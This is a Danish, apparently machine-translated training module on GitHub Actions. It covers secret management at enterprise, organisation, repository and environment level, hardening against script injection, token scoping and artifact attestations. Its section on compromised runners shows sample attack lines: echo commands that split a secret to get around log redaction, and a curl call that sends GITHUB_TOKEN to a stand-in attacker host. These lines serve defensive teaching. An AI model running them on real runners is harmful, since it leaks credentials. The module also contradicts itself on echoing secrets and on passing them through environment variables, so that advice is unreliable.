Administrer krypterede hemmeligheder

4 minutter

Hemmeligheder er krypterede miljøvariabler, der gemmer tokens, legitimationsoplysninger og andre følsomme oplysninger. Dine arbejdsprocesser og handlinger i GitHub-handlinger kan bruge disse hemmeligheder, når det er nødvendigt. Når de er oprettet, bliver hemmeligheder tilgængelige for arbejdsprocesser og handlinger, der har tilladelse til at få adgang til den organisation, det lager eller det miljø, hvor hemmelighederne er defineret.

I dette afsnit forklares det, hvordan du administrerer krypterede hemmeligheder ved hjælp af værktøjer og strategier i GitHub Enterprise Cloud og GitHub Enterprise Server. Du lærer også, hvordan du bruger disse hemmeligheder i dine arbejdsprocesser og handlinger.

Administrer krypterede hemmeligheder i virksomheden

Med GitHub-handlinger kan du sikkert gemme og bruge følsomme data – f.eks. API-nøgler, godkendelsestokens, adgangskoder og certifikater – via krypterede hemmeligheder. Disse hemmeligheder gemmes sikkert og indsprøjtes i arbejdsprocesser. Dette design sikrer, at de ikke vises i logge eller kildekode.

I et virksomhedsmiljø er effektiv administration af hemmelighed afgørende. Det hjælper med at opretholde sikkerheden, opfylde kravene til overholdelse af angivne standarder og understøtte driftseffektivitet. Med GitHub kan du administrere hemmeligheder på fire niveauer: virksomhed, organisation, lager og miljø.

Omfanget af krypterede hemmeligheder

Det er vigtigt at forstå omfanget af hemmeligheder for at kunne administrere dem sikkert i et virksomhedsmiljø.

Hemmeligt niveau	Område	Hvem kan få adgang til	Almindelige use cases
Enterprise-Level hemmeligheder	Anvend på alle lagre i en GitHub Enterprise Cloud-organisation.	Virksomhedsejere, sikkerhedsadministratorer	Del legitimationsoplysninger på tværs af flere lagre.
Organization-Level hemmeligheder	Anvend på alle lagre i en organisation. eventuelt begrænse til udvalgte lagre.	Organisationsejere, sikkerhedsadministratorer	Få adgang til cloudtjenester og delte databaser.
Repository-Level hemmeligheder	Anvend kun på et enkelt lager.	Lageradministratorer, arbejdsprocesløbere	Sikre legitimationsoplysninger til installation i ét lager.
Environment-Level hemmeligheder	Gælder for bestemte installationsmiljøer i et lager, f.eks. midlertidig lagring eller produktion.	Arbejdsprocesløbere i det angivne miljø	Adskil legitimationsoplysninger efter installationsmiljø.

Vigtige overvejelser:

Virksomhedshemmeligheder er eksklusive til GitHub Enterprise Cloud og understøtter central administration på tværs af en organisation.
Organisationshemmeligheder giver detaljeret adgangskontrol og kan begrænses til bestemte lagre.
Miljøhemmeligheder hjælper med at forhindre utilsigtet eksponering ved at begrænse adgangen til arbejdsprocesmiljøer.

Administrer krypterede hemmeligheder på organisationsniveau

Oprettelse af krypterede hemmeligheder på organisationsniveau hjælper med at sikre følsomme oplysninger, samtidig med at du reducerer den indsats, der kræves for at administrere hemmeligheder på tværs af flere lagre.

Nogle udviklere, der skriver arbejdsprocesser i din GitHub-organisation, skal f.eks. bruge legitimationsoplysningerne for at udrulle kode til produktion i nogle af deres arbejdsprocesser. Hvis du vil undgå at dele disse følsomme oplysninger, kan du oprette en krypteret hemmelighed, der indeholder legitimationsoplysningerne på organisationsniveau. På denne måde kan legitimationsoplysningerne bruges i arbejdsprocesserne uden at blive vist.

Hvis du vil oprette en hemmelighed på organisationsniveau, skal du gå til din organisation Indstillinger og vælge Hemmeligheder og variabler > Handlinger > Ny organisationshemmelighed. På den skærm, der vises, skal du angive et navn og en værdi og vælge en politik for adgang til lageret for din hemmelighed:

Ny hemmelig skærm til organisationer.

Når adgangspolitikken er gemt, vises den under hemmeligheden på listen:

Eksempel på krypterede hemmeligheder, hvor adgangspolitikken vises.

Du kan vælge Opdater for at få flere oplysninger om de konfigurerede tilladelser for din hemmelighed.

Administrer Organization-Level krypterede hemmeligheder via GitHub-kommandolinjegrænsefladen

Opret en hemmelighed for en organisation:

gh secret set SECRET_NAME --org my-org --body "super-secret-value"

Vis alle organisationshemmeligheder:
```
gh secret list --org my-org
```

Opdater en eksisterende hemmelighed:

gh secret set SECRET_NAME --org my-org --body "new-secret-value"

Slet en hemmelighed:

gh secret delete SECRET_NAME --org my-org

Sikkerhedsovervejelser i forbindelse med organisationshemmeligheder

Begræns hemmeligheder til bestemte lagre i stedet for som standard at give adgang til alle lagre.
Implementer rollebaseret adgangskontrol (RBAC) for at sikre, at kun godkendte teammedlemmer kan oprette, opdatere eller slette hemmeligheder.
Overvåg jævnligt adgangslogge for at identificere og reagere på uautoriseret brug eller mistænkelig aktivitet.

Administrer krypterede hemmeligheder på lagerniveau

Hvis du vil bruge en hemmelighed til et bestemt lager, skal du bruge GitHub Enterprise Cloud eller GitHub Enterprise Server.

Opret en hemmelighed på lagerniveau

Gå til lagerets indstillinger.
VælgHemmeligheder og variabler > Handlinger og derefter Ny lagerhemmelighed.
Angiv et navn og en værdi for hemmeligheden.

Ny hemmelig skærm til lagre.

Administrer krypterede hemmeligheder på lagerniveau via kommandolinjegrænsefladen

Vis lagerhemmeligheder:
```
gh secret list --repo my-repo
```

Opdater en lagerhemmelighed:

gh secret set SECRET_NAME --repo my-repo --body "new-secret-value"

Slet en lagerhemmelighed:

gh secret delete SECRET_NAME --repo my-repo

Få adgang til krypterede hemmeligheder i handlinger og arbejdsprocesser

I arbejdsprocesser

Få adgang til hemmeligheder ved hjælp af konteksten secrets . Brug enten with til at overføre hemmeligheden som et input eller env til at angive den som en miljøvariabel.

steps:
  - name: Hello world action
    uses: actions/hello-world@v1
    with:
      # Pass the secret as an input to the action
      super_secret: ${{ secrets.SuperSecret }}
    env:
      # Set the secret as an environment variable
      super_secret: ${{ secrets.SuperSecret }}

Brug with:Overfør hemmeligheden som en inputparameter til handlingen. Denne metode bruges ofte, når handlingen eksplicit definerer input i dens action.yml.
Brug env:Vis hemmeligheden som en miljøvariabel på trinnet. Denne fremgangsmåde er nyttig, når kommandoen i trinnet eller et script i handlingen forventer en miljøvariabel.

I handlinger

Hvis du vil bruge hemmeligheder i en brugerdefineret handling, skal du definere dem som input i action.yml metadatafilen og få adgang til dem som miljøvariabler i handlingskoden.

inputs:
  super_secret:
    description: 'My secret token'
    required: true

// Access the input using the Actions Toolkit
const core = require('@actions/core');
const token = core.getInput('super_secret');

Definer i action.yml:Angiv hemmeligheden som et obligatorisk eller valgfrit input.
Adgang i kode:Læs hemmeligheden ved hjælp af Actions Toolkit (anbefales) eller ved at referere til miljøvariabler, hvis de er angivet.

Advarsel

Undgå hardcoding-hemmeligheder i handlingskildekoden. Hvis du vil administrere input og hemmeligheder sikkert, skal du bruge Actions Toolkit til at håndtere værdier i din kodelogik.

Konfigurer sikkerhedshærdning for GitHub-handlinger

Sikkerhedshærdning for GitHub-handlinger spiller en rolle for at holde din softwareforsyningskæde sikker. I følgende afsnit gennemgås anbefalede fremgangsmåder for at styrke sikkerheden for de handlinger, du bruger i dine arbejdsprocesser.

Identificer bedste praksis for at afhjælpe scriptinjektionsangreb

Nogle af de bedste fremgangsmåder til at afhjælpe scriptinjektionsangreb på GitHub-handlinger omfatter:

Brug Javascript-handlinger i stedet for indbyggede scripts: Brug Javascript-handlinger, der accepterer kontekstværdier som argumenter i stedet for at integrere disse værdier i indbyggede scripts. Denne fremgangsmåde reducerer risikoen for scriptinjektion, fordi kontekstdataene ikke bruges til at generere eller udføre shellkommandoer direkte.

Overførsel af en variabel som input til en JavaScript-handling hjælper med at forhindre, at den bruges i et scriptinjektionsangreb.
```
 uses: fakeaction/checktitle@v3
 with:
   title: ${{ github.event.pull_request.title }} 
```
Brug mellemliggende miljøvariabler i indbyggede scripts: Når du bruger indbyggede scripts, skal du evaluere variabler som miljøvariabler, før du bruger dem i kommandoer. Denne fremgangsmåde sikrer, at værdierne løses, før scriptet kører, hvilket reducerer risikoen for scriptinjektion. Brug github.event.pull_request.title som en miljøvariabel hjælper f.eks. med at beskytte mod indsprøjtningssårbarheder:
```
- name: Check PR title
    env:
      TITLE: ${{ github.event.pull_request.title }}
    run: |
      if [[ "$TITLE" =~ ^octocat ]]; then
      echo "PR title starts with 'octocat'"
      exit 0
      else
      echo "PR title did not start with 'octocat'"
      exit 1
      fi
```
Udnyt arbejdsprocesskabeloner til at implementere kodescanning: Naviger til lagerets fanen Handlinger , og vælg knappen Ny arbejdsproces i ruden til venstre. På siden Vælg en arbejdsprocesskal du finde afsnittet Sikkerhed for at få adgang til og anvende arbejdsprocesskabeloner.

Konfigurer CodeQL-scanneren til at køre på bestemte hændelser, så den kan scanne en grens filer og markere eksponeringer af CWEs(Common Weakness Enumerations) i handlinger, der bruges i arbejdsprocesser, herunder sikkerhedsrisici, f.eks. scriptinjektion.
Begræns tilladelser til tokens: Sørg for, at du altid anvender på rule of least privilege et hvilket som helst oprettet token. Med andre ord skal du sikre, at tokenet er tildelt minimumrettigheder for at opnå den opgave, som det blev oprettet til.

Bedste fremgangsmåder til sikker brug af handlinger fra tredjepart

Følg disse bedste fremgangsmåder for sikkert at inkorporere handlinger fra tredjepart i dine arbejdsprocesser:

Fastgør kun handlinger til et mærke, hvis der er tillid til forfatteren Brug kun versionskoder, f.eks v1 . eller v2, når handlingens forfatter er bekræftet og betroet. Denne handling hjælper med at reducere risikoen for uventede ændringer i fremtidige udgivelser.
```
- name: Checkout
  uses: actions/checkout@v4  # Pinned to a specific version tag
```
Foretrækker fastgørelse af handlinger til en komplet bekræftelses-SHA Hvis du fastgør til en sha for fuld bekræftelse, sikrer du, at du bruger en uforanderlig version af handlingen. Kontrollér altid, at bekræftelses-SHA kommer fra det forventede lager.
```
- name: Checkout
  uses: actions/checkout@1e31de5234b9f8995739874a8ce0492dc87873e2  # Pinned to a specific commit SHA
```
Overvåg handlingens kildekode Gennemse handlingens kilde for at bekræfte, at den håndterer data sikkert og ikke indeholder uventet eller skadelig funktionsmåde.

Indikatorer for en tredjepartshandling, der er tillid til

Brug handlinger, der er tillid til, til at reducere risikoen i dine arbejdsprocesser.

Søg efter badget Bekræftet: Pålidelige handlinger vises på GitHub Marketplace og viser et badge for bekræftet opretter ud for titlen, der informerer dig om, at forfatteren er blevet bekræftet af GitHub.
Se dokumentationen: Filen action.yml skal være veldokumenteret og tydeligt beskrive, hvordan handlingen fungerer.

Skærmbillede, der viser Grænsefladen til GitHub Marketplace til administration af krypterede hemmeligheder.

Brug opdateringer af Dependabot-versioner til at holde handlinger opdateret

Aktivér opdateringer af Dependabot-versioner for automatisk at holde dine GitHub-handlinger-afhængigheder aktuelle og sikre.

Potentiel effekt af en kompromitteret løber

I dette afsnit beskrives mulige angrebsvektorer, der kan udnyttes, hvis en løber kompromitteres.

Eksfiltration af data fra en løber

Selvom GitHub-handlinger automatisk redigerer hemmeligheder fra logge, er denne ændring ikke en fuldstændig sikkerhedsgrænse. Hvis en løber er kompromitteret, kan en hacker bevidst fremvise hemmeligheder ved at udskrive dem i loggen. For eksempel:

echo ${SOME_SECRET:0:4}
echo ${SOME_SECRET:4:200}

En kompromitteret løber kan også bruges til at videresende hemmeligheder eller andre følsomme lagerdata til en ekstern server ved hjælp af scriptede HTTP-anmodninger.

Adgang til hemmeligheder

Arbejdsprocesser, der udløses fra kopilagre, der bruger pull_request hændelsen, har skrivebeskyttede tilladelser og kan ikke få adgang til hemmeligheder. Tilladelserne varierer dog afhængigt af hændelsestypen – f.eks. issue_comment, issues, pusheller pull_request fra en forgrening i det samme lager. Hvis en løber er kompromitteret, er der risiko for, at lagerhemmeligheder kan blive afsløret, eller at et job GITHUB_TOKEN med skrivetilladelser kan misbruges.

Hvis en hemmelighed eller et token er tildelt til en miljøvariabel, kan du få adgang til den direkte ved hjælp af printenv.
Hvis der refereres direkte til en hemmelighed i et udtryk, gemmes det genererede shellscript, der indeholder den løste værdi, på disken og kan være tilgængeligt.
I forbindelse med brugerdefinerede handlinger afhænger risikoniveauet af, hvordan hemmeligheden håndteres i handlingens logik. For eksempel:

uses: exampleaction/publish@v3
with:
  key: ${{ secrets.PUBLISH_KEY }}

Selvom GitHub-handlinger fjerner hemmeligheder fra hukommelsen, hvis der ikke refereres til dem i arbejdsprocessen eller inkluderede handlinger, er der stadig risiko for, GITHUB_TOKEN at de aktivt anvendte hemmeligheder høstes, hvis løberen kompromitteres.

At stjæle et job `GITHUB_TOKEN`

En hacker kan muligvis stjæle et jobs GITHUB_TOKEN. GitHub-handlinger leverer automatisk dette token med begrænsede tilladelser til det lager, der kører arbejdsprocessen. Tokenet udløber, når jobbet er fuldført og kan ikke genbruges bagefter.

En kompromitteret løber kan dog bruges til at exfiltrate tokenet straks under udførelsen af jobbet. En hacker kan automatisere en anmodning til en server, som vedkommende styrer, for at hente tokenet, før den udløber. For eksempel:

curl http://example.com?token=$GITHUB_TOKEN

Ændring af lagerindhold

Hvis en bliver stjålet, kan et hackerstyret system bruge det til at kalde GitHub-API'en GITHUB_TOKEN og ændre lagerindhold.

Anvendelse af princippet om færrest mulige rettigheder på tokenets tilladelser hjælper med at reducere denne risiko. Begræns tokenets adgang til det, der er nødvendigt for jobbet.

Administration af adgang på tværs af lagre

Når arbejdsprocesser kræver adgang til flere lagre, er det vigtigt at vælge legitimationsoplysninger, der minimerer sikkerhedsrisici. Nogle af de anbefalede indstillinger, der er angivet fra de fleste til mindst foretrukne, omfatter:

GITHUB_TOKEN

GitHub genererer GITHUB_TOKEN automatisk for hver arbejdsproceskørsel. Det er begrænset til det enkelte lager, der udløser arbejdsprocessen og giver tilladelser, der svarer til en bruger med skriveadgang til det pågældende lager. Tokenet oprettes i starten af hvert job og udløber, når jobbet er fuldført.

Brug , når det GITHUB_TOKEN er muligt, til sikker og begrænset godkendelse. Du kan finde flere oplysninger under Automatisk tokengodkendelse.
Udrulningsnøgle til lager

Hvis du vil klone eller pushe ved hjælp af Git i arbejdsprocesser, skal du bruge udrulningsnøgler, der giver læse- eller skriveadgang til et enkelt lager.

Udrul nøgler understøtter dog ikke adgang til GitHubs REST- eller GraphQL-API'er. Brug dem kun, når API-adgang ikke er påkrævet, og Git-adgang er tilstrækkelig.

GitHub-apptokens

GitHub Apps tilbyder detaljerede tilladelser og kan installeres på udvalgte lagre. Du kan oprette en intern GitHub-app, installere den på de nødvendige lagre og godkende som appinstallationen i din arbejdsproces for at få adgang til disse lagre.

Denne fremgangsmåde giver bedre adgangskontrol og overvågning sammenlignet med personlige tokens.

Personlige adgangstokens (PAT'er)

Undgå at bruge klassiske personlige adgangstokens i arbejdsprocesser. Disse tokens giver bred adgang på tværs af alle personlige og organisatoriske lagre, der er knyttet til brugeren, og medfører en betydelig risiko. Hvis arbejdsprocessen kører i et lager med flere bidragydere, arver alle brugere af skriveadgang effektivt dette tokens rettigheder.

Hvis du skal bruge et personligt token, skal du oprette et detaljeret PAT , der er knyttet til en dedikeret organisationskonto. Begræns adgangen til de specifikke lagre, der kræves af arbejdsprocessen.

Bemærk

Denne fremgangsmåde er svær at skalere og undgås bedst til fordel for udrulningsnøgler eller GitHub-apps.

Skærmbillede, der viser en knap til oprettelse af et nyt personligt GitHub-adgangstoken.

SSH-nøgler på personlige konti

Brug aldrig SSH-nøgler fra personlige konti i arbejdsprocesser. På samme måde som klassiske PAT'er giver de adgang til alle lagre, der er knyttet til kontoen, herunder personlige og organisatoriske lagre. Denne fejl udsætter arbejdsprocesser for en unødvendig risiko.

Hvis din use case omfatter kloning eller push via Git, kan du overveje at bruge udrulningsnøgler i stedet. De giver begrænset adgang uden at vise ikke-relaterede lagre eller kræve personlige legitimationsoplysninger.

Overvåg GitHub-handlingshændelser

Typen af handling, da den blev kørt, og hvilken personlig konto der udførte handlingen, registreres i 'sikkerhedsloggen' og 'overvågningsloggen'. I 'sikkerhedsloggen' registreres hændelser, der er relateret til din brugerkonto. Overvågningsloggen registrerer hændelser, der er relateret til din organisation. Ved at få vist begge disse logge kan du overvåge hændelser, der er relateret til Github-handlinger.

Brug af OIDC med GitHub-handlinger

Du kan konfigurere arbejdsprocesser til at godkende direkte med en cloududbyder ved hjælp af OIDC (OpenID Connect). I dette tilfælde er der ikke længere behov for at gemme legitimationsoplysninger som hemmeligheder.

Artefaktforklaringer for GitHub-handlinger

Artefakter hjælper med at etablere oprindelsen af builds, forbedre sikkerheden i softwareforsyningskæden ved at bekræfte, hvad der blev bygget, hvor og hvordan.

Hvad skal bekræftes?

Med GitHub-handlinger kan du bekræfte, at du bygger proveniens & SBOM (Software Bill of Materials) til binære filer og objektbeholderbilleder.

Genererer artefaktforklaringer for builds

Når du genererer en attestation af artefakter for builds, skal du sikre dig:

Du har de relevante tilladelser konfigureret i arbejdsprocessen
Du har inkluderet et trin i din arbejdsproces, der bruger handlingen attest-build-provenance .

Attestationen etablerer build proveniens. Du kan få vist bekræftelser på lagerets fanen Handlinger .

Skærmbillede, der viser konfiguration af attestationer i GitHub relateret til administration af krypterede hemmeligheder.

Oprettelse af en attestation til oprettelse af oprindelse for binære filer

Du skal føje følgende tilladelser til den arbejdsproces, der opretter den binære fil, du vil bekræfte:
```
   permissions:
    id-token: write
    contents: read
    attestations: write
```

Du skal tilføje følgende trin efter det trin, hvor den binære fil er bygget:

  - name: Generate artifact attestation
    uses: actions/attest-build-provenance@v2
    with:
     subject-path: 'PATH/TO/ARTIFACT'

Bemærk

Bemærk, at værdien af subject-path parameteren er angivet til stien til den binære fil, du bevidner.

Generering af en attestation for build-oprindelsen af objektbeholderbilleder

Føj følgende tilladelser til den arbejdsproces, der opretter objektbeholderbilledet:

permissions:
  id-token: write
  contents: read
  attestations: write
  packages: write

Tilføj dette trin, når du har oprettet objektbeholderbilledet:
```
- name: Generate artifact attestation
  uses: actions/attest-build-provenance@v2
  with:
    subject-name: ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}
    subject-digest: 'sha256:fedcba0...'
    push-to-registry: true
```
Bemærk
- Værdien subject-name skal være et fuldt kvalificeret billednavn, f.eks ghcr.io/user/app . eller acme.azurecr.io/user/app. Medtag ikke et mærke.
- subject-digest skal være en SHA256-digest af billedet i formatet sha256:HEX_DIGEST.
- Hvis din arbejdsproces bruger docker/build-push-action, kan du hente digesten fra outputtet. Du kan finde flere oplysninger i Arbejdsprocessyntaks for GitHub-handlinger.

Genererer attestationer for SBOMs

Du har mulighed for at generere SBOM-attestationer for en SBOM. Hvis du vil generere og bekræfte til en SBOM, skal du udføre følgende trin:

Sørg for at angive de relevante tilladelser i arbejdsprocessen, som vist i eksemplerne.
Du skal generere en SBOM for artefaktet i et trin i arbejdsprocessen. Du kan f.eks. se anchore-sbom-action på GitHub Marketplace.
Medtag et trin i arbejdsprocessen, der bruger attest-sbom-handlingen (se eksempler nedenfor)

Oprettelse af en SBOM-attestation for binære filer

Føj følgende tilladelser til den arbejdsproces, der opretter den binære fil, som du vil generere en SBOM-attestation for:
```
    permissions:
     id-token: write
     contents: read
     attestations: write
```

Tilføj følgende trin efter de trin, hvor den binære fil er bygget, og hvor SBOM genereres:

    - name: Generate SBOM attestation
    uses: actions/attest-sbom@v1
    with:
      subject-path: 'PATH/TO/ARTIFACT'
      sbom-path: 'PATH/TO/SBOM'

Bemærk, at værdien af subject-path parameteren skal angives til stien til den binære fil, som SBOM beskriver. Værdien af sbom-path parameteren skal angives til stien til den SBOM-fil, du oprettede.

Oprettelse af en SBOM-attestation for objektbeholderbilleder

Du skal føje følgende tilladelser til den arbejdsproces, der opretter den binære fil, som du vil generere en SBOM-attestation for:
```
   permissions:
    id-token: write
    contents: read
    attestations: write
    packages: write
```

Du skal tilføje følgende trin efter de trin, hvor den binære fil er bygget, og SBOM genereret:

    - name: Generate SBOM attestation
    uses: actions/attest-sbom@v1
    with:
      subject-name: ${{ env.REGISTRY }}/PATH/TO/IMAGE
      subject-digest: 'sha256:fedcba0...'
      sbom-path: 'sbom.json'
      push-to-registry: true

Bemærk, at værdien af subject-name parameteren angiver det fuldt kvalificerede billednavn. Du kan f.eks. ghcr.io/user/app eller acme.azurecr.io/user/app. Medtag ikke et mærke som en del af billednavnet.

Værdien af subject-digest parameteren skal angives til SHA256 emnets digest for attestationen i formularens sha256:HEX_DIGEST. Hvis din arbejdsproces bruger docker/build-push-action, kan du bruge det oversigtsoutput fra dette trin til at levere værdien (se build-push-action). Du kan få flere oplysninger om brug af output under Arbejdsprocessyntaks for GitHub-handlinger.

Værdien af sbom-path parameteren skal angives til stien til den JSON-formaterede SBOM-fil, som du vil bekræfte.

Kontrollerer artefakter med GitHub-kommandolinjegrænsefladen

Du kan validere de artefakter, der er beskrevet ovenfor, ved hjælp af Kommandolinjegrænsefladen i GitHub. Du kan få flere oplysninger i attesteringsafsnittet i GitHub CLI-manualen.

Advarsel

Det er vigtigt at huske, at attestationer for artefakter ikke er en garanti for, at en artefakt er sikker. I stedet linker artefakter attestationer dig til kildekoden og de byggeinstruktioner, der har produceret dem. Det er op til dig at definere dine politikkriterier, evaluere denne politik ved at evaluere indholdet og træffe en informeret risikobeslutning, når du bruger software.

Få adgang til krypterede hemmeligheder i handlinger og arbejdsprocesser

Eksempel: Brug af en hemmelighed i en arbejdsproces

name: Deploy Application

on:
  push:
    branches:
      - main

jobs:
  deploy:
    runs-on: ubuntu-latest
    steps:
      - name: Checkout repository
        uses: actions/checkout@v3

      - name: Use secret in a script
        run: echo "Deploying with API_KEY=${{ secrets.DEPLOYMENT_KEY }}"

Bedste fremgangsmåder til brug af hemmeligheder i arbejdsprocesser

Udskriv ikke hemmeligheder i logfiler ved hjælp af echo ${{ secrets.SECRET_NAME }}.
Brug hemmeligheder i scriptkommandoer i stedet for at tildele dem til miljøvariabler.
Begræns adgangen ved at definere hemmeligheder på det laveste nødvendige niveau.
Roter hemmeligheder med jævne mellemrum , og opdater arbejdsprocesser i overensstemmelse hermed.

Sådan bruger du hvælvinger fra tredjepart

Mange virksomheder integrerer GitHub Actions med eksterne løsninger til administration af hemmelige oplysninger, f.eks . HashiCorp Vault, AWS Secrets Manager og Azure Key Vault.

1. HashiCorp-hvælving

- name: Fetch secret from Vault
  id: vault
  uses: hashicorp/vault-action@v2
  with:
    url: https://vault.example.com
    token: ${{ secrets.VAULT_TOKEN }}
    secret: secret/data/github/my-secret

2. AWS (Amazon Web Services) Secrets Manager

- name: Retrieve AWS Secret
  run: |
    SECRET_VALUE=$(aws secretsmanager get-secret-value --secret-id my-secret | jq -r .SecretString)
    echo "SECRET_VALUE=${SECRET_VALUE}" >> $GITHUB_ENV

3. Azure Key Vault

- name: Retrieve Azure Secret
  uses: Azure/get-keyvault-secrets@v1
  with:
    keyvault: "my-keyvault"
    secrets: "my-secret"
    azureCredentials: ${{ secrets.AZURE_CREDENTIALS }}

Fordele ved at bruge hvælvinger fra tredjepart

Centraliseret hemmelig administration reducerer sikkerhedsrisici.
Automatiseret hemmelig rotation hjælper med at overholde sikkerhedspolitikker.
Overvågningslogge og adgangskontrol forbedrer sikkerhedsovervågningen.
Adgang med mindst mulige rettigheder forhindrer uautoriseret brug af hemmeligheder.

Feedback

Var denne side nyttig?

Administrer krypterede hemmeligheder

Administrer krypterede hemmeligheder i virksomheden

Omfanget af krypterede hemmeligheder

Administrer krypterede hemmeligheder på organisationsniveau

Administrer Organization-Level krypterede hemmeligheder via GitHub-kommandolinjegrænsefladen

Sikkerhedsovervejelser i forbindelse med organisationshemmeligheder

Administrer krypterede hemmeligheder på lagerniveau

Opret en hemmelighed på lagerniveau

Administrer krypterede hemmeligheder på lagerniveau via kommandolinjegrænsefladen

Få adgang til krypterede hemmeligheder i handlinger og arbejdsprocesser

I arbejdsprocesser

I handlinger

Konfigurer sikkerhedshærdning for GitHub-handlinger

Identificer bedste praksis for at afhjælpe scriptinjektionsangreb

Bedste fremgangsmåder til sikker brug af handlinger fra tredjepart

Indikatorer for en tredjepartshandling, der er tillid til

Brug opdateringer af Dependabot-versioner til at holde handlinger opdateret

Potentiel effekt af en kompromitteret løber

Eksfiltration af data fra en løber

Adgang til hemmeligheder

At stjæle et job GITHUB_TOKEN

Ændring af lagerindhold

Administration af adgang på tværs af lagre

Overvåg GitHub-handlingshændelser

Brug af OIDC med GitHub-handlinger

Artefaktforklaringer for GitHub-handlinger

Hvad skal bekræftes?

Genererer artefaktforklaringer for builds

Oprettelse af en attestation til oprettelse af oprindelse for binære filer

Generering af en attestation for build-oprindelsen af objektbeholderbilleder

Genererer attestationer for SBOMs

Oprettelse af en SBOM-attestation for binære filer

Oprettelse af en SBOM-attestation for objektbeholderbilleder

Kontrollerer artefakter med GitHub-kommandolinjegrænsefladen

Få adgang til krypterede hemmeligheder i handlinger og arbejdsprocesser

Eksempel: Brug af en hemmelighed i en arbejdsproces

Bedste fremgangsmåder til brug af hemmeligheder i arbejdsprocesser

Sådan bruger du hvælvinger fra tredjepart

1. HashiCorp-hvælving

2. AWS (Amazon Web Services) Secrets Manager

3. Azure Key Vault

Fordele ved at bruge hvælvinger fra tredjepart

Feedback

At stjæle et job `GITHUB_TOKEN`